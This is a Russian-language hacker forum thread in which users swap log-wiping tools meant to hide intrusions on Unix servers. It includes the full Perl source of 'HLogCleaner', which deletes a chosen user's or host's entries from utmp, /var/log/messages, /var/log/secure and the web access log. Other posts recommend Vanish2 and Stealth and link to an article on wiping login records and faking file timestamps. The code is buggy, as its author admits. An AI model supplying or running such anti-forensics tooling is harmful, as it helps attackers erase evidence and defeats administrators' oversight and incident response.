Собственно сабж. Я обычно использую Vanish2, но у каждого логвайпера есть сови минусы и плюсы. Хочу знать мнение остальных. Кроме того, тема будет полезна для тех, кто логи НЕ чистит ))
#!/usr/bin/perl # ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' # ' HATS Security Team http://security.nitro.ru ' # ' ' # ' HLogCleaner [hlogcleaner_0.1_pub.rar] ' # ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' # ' [v 0.1 public] ' # ' ' # ' Copyright © 2005-2006 Dmitri Gavrilov ' # ' ' # ' Released under the terms & conditions of v2 of the GNU General ' # ' Public License. For details refer visit http://gnu.org ' # ' ' # ' [version 0.1] >> Первый релиз ' # ' ' # ' <info> ' # ' Программа для очистки бинарных и текстовых лог-файлов ' # ' ' # ' Coded by GeW [[email protected]] ' # ' Greets to all HATS Security Team members ' # ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' use Getopt::Std; use Socket; if (@ARGV < 1) { &help; } getopt("uh"); if ($ARGV[0] = "1") { print "\n[ start cleaning ]\n"; binary("/var/run/utmp"); print "[ stop cleaning ]\n"; } if ($ARGV[0] = "2") { print "\n[ start cleaning ]\n"; ascii("/var/log/messages"); print "[ stop cleaning ]\n"; } if ($ARGV[0] = "3") { print "\n[ start cleaning ]\n"; ascii("/var/log/secure"); print "[ stop cleaning ]\n"; } if ($ARGV[0] = "4") { print "\n[ start cleaning ]\n"; ascii("/usr/local/www/logs/access_log"); print "[ stop cleaning ]\n"; } if ($ARGV[0] = "5") { print "\n[ start cleaning ]\n"; binary("/var/run/utmp"); ascii("/var/log/messages"); ascii("/var/log/secure"); ascii("/usr/local/www/logs/access_log"); print "[ stop cleaning ]\n"; } sub binary { use User::Utmp qw(utmpname getut putut); $file = shift; utmpname($file); @utmp = getut(); open(TMP,">/tmp/.tmp"); close(TMP); utmpname("/tmp/.tmp"); foreach $entry (@utmp) { putut($entry) if ($entry->{"ut_user"} ne $opt_u && $entry->{"ut_host"} ne $opt_h); } system("mv /tmp/.tmp $file"); return 1; } sub ascii { $file = shift; open(READ,"$file"); open(WRITE,">/tmp/.tmp"); while(<READ>) { print WRITE $_ if ($_!~/$opt_h/); } system("mv /tmp/.tmp $file"); } sub help { print "\n"; print (<<"end"); =================================================================== HATS Log Cleaner [version 0.1 public] Coded by GeW [[email protected]] Greets to all HATS Security Team members usage: perl hlogcleaner.pl <cleaning type> types: 1 - /var/run/utmp [binary] 2 - /var/log/messages [ascii] 3 - /var/log/secure [ascii] 4 - /usr/local/www/logs/access_log [ascii] 5 - all cleaning types example: perl hlogcleaner.pl 5 =================================================================== end exit(); } ======================= много багов, но работа над ним кипит=)
Да,мне чесное слово тоже очень интересно... Мы ведь лохи-юзаем логклинеры... Настоящие Х всё делают руками.
Да ты прав б/п. Посмотри мою статейку про очистку бинарных логов /var/run/utmp, /var/log/lastlog и /var/log/wtmp в разделе статьи...Там еще исходник есть неболшой проги, которая не только удаляет необоходимую запись, но и меняет дату изменения файла. Вот ссыла на статью http://forum.antichat.ru/thread15355.html
Народ Vanish хорошая штука но иногда она почему то не работает(не надо говорить что chmod не с тем битом, дело не в этом ... есть ядра 2.4 которые не ломаются) - дак вот на такой случай Альтернатива это Stealth - бинраный и текстовой. Последнее время юзаю только его.